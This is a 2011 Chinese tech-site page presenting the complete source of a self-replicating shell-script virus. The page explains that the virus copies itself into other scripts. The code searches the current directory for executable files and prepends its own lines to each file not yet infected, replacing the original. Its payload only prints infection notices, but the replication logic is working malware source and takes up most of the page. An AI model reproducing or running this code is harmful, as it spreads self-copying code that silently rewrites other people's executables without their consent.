javascript和JQuery焦点图和代码特效大全
当前最流行的开源CMS网站系统大全
当前位置:主页 > 操作系统 > Linux/Unix >

shell病毒,可以感染其它脚本和文件

来源:IT技术网编辑:香独秀发布于:2011-04-03人围观文件脚本shell病毒感染

shell病毒,可以感染其它脚本和文件,原理就是将自身插入到其它shell脚本文件中,当这个文件被执行时,又进行新一轮感染。但是不会重复感染。

#!/bin/sh
#Virus by ijse start
#=====Your Code Here=========
echo "!This file has been infected by CpVirus written by ijse."
echo "!You can remove the virus code by editing this file."
echo "!Just remove the lines between '#Virus by ijse start' and '#Virus by ijse end'."
#============================
for exfile in `find ./ -executable -type f`;
do
	tmpFile=$exfile\.tmp
	firstLine=`head -2 $exfile|tail -1`
	if [ "$firstLine" != "#Virus by ijse start" ]; then
		endnum=`grep -n -x "#Virus by ijse end" $0 | awk -F":" '{print $1}'`
		startnum=`grep -n -x "#Virus by ijse start" $0 | awk -F":" '{print $1}'`
		let length=$endnum-$startnum+1
		echo "`head -$endnum $0|tail -$length`" > $tmpFile
		cat $exfile >> $tmpFile
		chmod u+x $tmpFile
		rm $exfile
		mv $tmpFile $exfile
	fi
done
#Virus by ijse end

文件,脚本,shell,相关的文章
有时间的话来看看IT界的突发事件